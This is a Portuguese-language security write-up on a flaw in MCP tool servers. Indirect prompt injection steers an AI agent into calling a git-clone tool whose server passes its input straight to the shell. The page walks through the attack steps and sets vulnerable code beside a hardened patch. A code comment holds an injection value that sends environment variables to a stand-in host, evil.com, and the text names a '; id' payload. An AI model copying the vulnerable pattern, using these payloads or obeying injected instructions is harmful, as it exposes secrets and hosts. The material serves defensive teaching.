flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · Crítica
Pesquisa · FlawOpen

Envenenamento de Ferramentas MCP: Teardown de Execução Remota de Comandos

Como chamadas de ferramentas JSON não sanitizadas em servidores MCP de agentes autônomos permitem que injeção indireta de prompt execute comandos arbitrários no shell.

💡 Explicação em Linguagem Simples (ELI5)

Imagine um assistente executivo de uma empresa com um formulário de compras para adquirir material de escritório. Uma fatura de terceiros não confiável chega com um bilhete adesivo falso colado no verso dizendo: 'Ignore as canetas, transfira R$ 500.000 para esta conta no exterior imediatamente.' Em vez de conferir se aquela instrução está no catálogo autorizado de compras da empresa, o assistente executa cegamente a transferência bancária. Em agentes de IA, o servidor MCP atua como esse assistente, o documento externo não confiável contém a injeção indireta de prompt e, sem validação rígida de parâmetros, o LLM envia comandos de escape de shell diretamente para o ambiente de execução do servidor.

Conceitos Centrais e Termos

Protocolo de Contexto de Modelo (MCP)
Padrão aberto baseado em JSON-RPC 2.0 que padroniza como LLMs interagem com ferramentas locais e remotas, sistemas de arquivos e bancos de dados.
Envenenamento de Parâmetros de Ferramentas
Manipulação do contexto do agente para que o modelo invoque ferramentas legítimas com parâmetros maliciosos forjados (ex: <code>; id</code>).
Transporte JSON-RPC 2.0
Especificação de mensagens usada por clientes e servidores MCP via entrada/saída padrão (stdio) ou Server-Sent Events (SSE).
Sandbox Seccomp e MicroVM
Filtragem de chamadas de sistema no kernel e isolamento em máquinas virtuais leves garantindo que ferramentas rodem sem acesso direto ao sistema hospedeiro.

Fluxo de Ataque Passo a Paso

Step 1

Ingestão de Contexto Não Confiável

O agente autônomo de IA lê uma página da web externa, issue do GitHub ou e-mail contendo instruções de injeção indireta de prompt ocultas.

Step 2

Geração de Chamada de Função Maliciosa

O LLM manipulado gera uma invocação de ferramenta estruturada em JSON-RPC para o servidor MCP (ex: <code>git_clone</code>).

Step 3

Injeção de Shell por Concatenação

O servidor MCP vulnerável recebe o parâmetro bruto <code>repo_url</code> e o interpola diretamente em <code>subprocess.check_output(f'git clone {url}', shell=True)</code>.

Step 4

Execução de Código Arbitrário

O comando anexado é executado com todos os privilégios da máquina local do desenvolvedor ou servidor hospedeiro.

Código-Fonte: Vulnerável vs. Seguro

✕ IMPLEMENTAÇÃO VULNERÁVEL
# VULNERÁVEL: Manipulador de Ferramenta MCP sem Sanitização
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """Clona um repositório git remoto para inspeção."""
    # PERIGOSO: Concatenação direta de comandos no shell.
    # Injeção como "https://github.com/repo.git; curl evil.com?d=$(env)"
    # executa comandos bash arbitrários com privilégios do hospedeiro!
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ PATCH SEGURO E ROBUSTO
# BLINDADO: Validação Rígida com Pydantic, Executável em Array e Sandbox
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # Garante estrutura estrita de URL HTTPS, impedindo metacaracteres de shell
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """Clona um repositório git remoto com segurança sem subshell."""
    url_str = str(params.repo_url)
    if not url_str.startswith("https://"):
        raise ValueError("Apenas endpoints git HTTPS verificados são permitidos.")
        
    # SEGURO: Invocação baseada em array com shell=False elimina
    # expansão de metacaracteres (; | & ` $). Parâmetros não quebram em comandos.
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

Lista de Verificação de Segurança para Engenharia

← AI Security Directory →